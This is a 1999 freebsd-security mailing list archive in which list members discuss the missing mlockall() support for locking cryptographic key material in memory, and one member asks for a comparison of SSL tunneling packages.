From owner-freebsd-security Fri Dec 24 10:25:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from oberon.dnai.com (oberon.dnai.com [207.181.194.97]) by hub.freebsd.org (Postfix) with ESMTP id A9D6F1518D; Fri, 24 Dec 1999 10:25:13 -0800 (PST) (envelope-from kudzu@dnai.com) Received: from dnai.com (dnai-216-15-121-4.cust.dnai.com [216.15.121.4]) by oberon.dnai.com (8.9.3/8.9.3) with ESMTP id KAA00932; Fri, 24 Dec 1999 10:25:04 -0800 (PST) Message-ID: <3863B98A.A3888539@dnai.com> Date: Fri, 24 Dec 1999 10:20:58 -0800 From: Michael Sierchio X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-security@freebsd.org, freebsd-core@freebsd.org Subject: mlockall() not supported (2nd query) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org mlockall() and munlockall() don't appear to be supported on FreeBSD. I consider this to be a security issue -- since maintaining a lot of fine-grained locks is harder than locking the entire heap/stack in memory. This is crucial for generating keys for cryptosystems, which is my current project. One of the stated goals is to be able to repond in the negative to a discovery request for removal and inspection of a hard drive, with the plausible and rational explanation that no information of relevance ever touches magnetic storage media. I am trying to keep FreeBSD in the running, along with Linux and Solaris. I would be happy to assist in any way possible. Please respond. Michael Sierchio -- QUI ME AMET, CANEM MEUM ETIAM AMET To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 24 10:52:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 6652415250; Fri, 24 Dec 1999 10:52:50 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA03403; Fri, 24 Dec 1999 10:52:49 -0800 (PST) (envelope-from jdp@polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id KAA71968; Fri, 24 Dec 1999 10:52:48 -0800 (PST) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3863B98A.A3888539@dnai.com> Date: Fri, 24 Dec 1999 10:52:48 -0800 (PST) Organization: Polstra & Co., Inc. From: John Polstra To: Michael Sierchio Subject: RE: mlockall() not supported (2nd query) Cc: freebsd-core@freebsd.org, freebsd-security@freebsd.org Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Michael Sierchio wrote: > mlockall() and munlockall() don't appear to be supported on FreeBSD. The most effective way to get them supported is to submit patches. From a quick look at mlock() in "src/sys/vm/vm_mmap.c", it doesn't look all that difficult. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 24 11: 0: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from bomber.avantgo.com (ws1.avantgo.com [207.214.200.194]) by hub.freebsd.org (Postfix) with ESMTP id E29D21518D; Fri, 24 Dec 1999 11:00:00 -0800 (PST) (envelope-from scott@avantgo.com) Received: from river ([10.0.128.30]) by bomber.avantgo.com (Netscape Messaging Server 3.5) with SMTP id 354; Fri, 24 Dec 1999 10:55:35 -0800 Message-ID: <102201bf4e40$f23c3a10$1e80000a@avantgo.com> From: "Scott Hess" To: "John Polstra" , "Michael Sierchio" Cc: , References: Subject: Re: mlockall() not supported (2nd query) Date: Fri, 24 Dec 1999 10:59:03 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org John Polstra wrote: > Michael Sierchio wrote: > > mlockall() and munlockall() don't appear to be supported on FreeBSD. > > The most effective way to get them supported is to submit patches. > From a quick look at mlock() in "src/sys/vm/vm_mmap.c", it doesn't > look all that difficult. Does anything bad happen if you mlock() essentially everything? Something like mlock( NULL, (unsigned)-1), but perhaps more targetted than that. That would appear to lock all of the VM pages you already are using, but perhaps not the VM pages you haven't allocated as of yet? Later, scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 24 12:37:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from oberon.dnai.com (oberon.dnai.com [207.181.194.97]) by hub.freebsd.org (Postfix) with ESMTP id E1C2C14CDE; Fri, 24 Dec 1999 12:37:07 -0800 (PST) (envelope-from kudzu@dnai.com) Received: from dnai.com (dnai-216-15-121-66.cust.dnai.com [216.15.121.66]) by oberon.dnai.com (8.9.3/8.9.3) with ESMTP id MAA02185; Fri, 24 Dec 1999 12:36:34 -0800 (PST) Message-ID: <3863D843.100453A4@dnai.com> Date: Fri, 24 Dec 1999 12:32:03 -0800 From: Michael Sierchio X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Scott Hess Cc: John Polstra , freebsd-core@freebsd.org, freebsd-security@freebsd.org Subject: Re: mlockall() not supported (2nd query) References: <102201bf4e40$f23c3a10$1e80000a@avantgo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Scott Hess wrote: > Does anything bad happen if you mlock() essentially everything? Something > like mlock( NULL, (unsigned)-1), but perhaps more targetted than that. > That would appear to lock all of the VM pages you already are using, but > perhaps not the VM pages you haven't allocated as of yet? It's unclear to me how to lock the stack, for example -- since it grows downward, a call to mlock() would require guessing (or finding) the current allocated size. And, as you note, this doesn't protect any future pages -- more of a problem for the stack than anything. I can easily write a wrapper for malloc/free to handle locking individual chunks -- but I'm unclear on the business of doing the equivalent of a 'mlockall(MCL_CURRENT | MCL_FUTURE)' I would be happy to submit a patch, but I might need some guidance. Cheers, Michael -- QUI ME AMET, CANEM MEUM ETIAM AMET To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 24 13:57:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from cantor.boolean.net (cantor.boolean.net [209.133.111.73]) by hub.freebsd.org (Postfix) with ESMTP id 8C21A14E5C for ; Fri, 24 Dec 1999 13:57:38 -0800 (PST) (envelope-from kurt@boolean.net) Received: from gypsy (localhost [127.0.0.1]) by cantor.boolean.net (8.9.3/8.9.3) with SMTP id VAA62046 for ; Fri, 24 Dec 1999 21:57:37 GMT (envelope-from kurt@boolean.net) Message-Id: <3.0.5.32.19991224135854.00948d70@localhost> X-Sender: guru@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 24 Dec 1999 13:58:54 -0800 To: freebsd-security@freebsd.org From: "Kurt D. Zeilenga" Subject: bjorb vs sslproxy vs stunnel Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I am looking at using an SSL proxy to provide privacy protection for a variety of services including CVS. There are at least three differnet packages available in the ports collection that provide SSL tunneling services. Does anyone know of or have a decent, up-to-date comparative review of these packages? TIA, Kurt ---- Kurt D. Zeilenga Net Boolean Incorporated To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message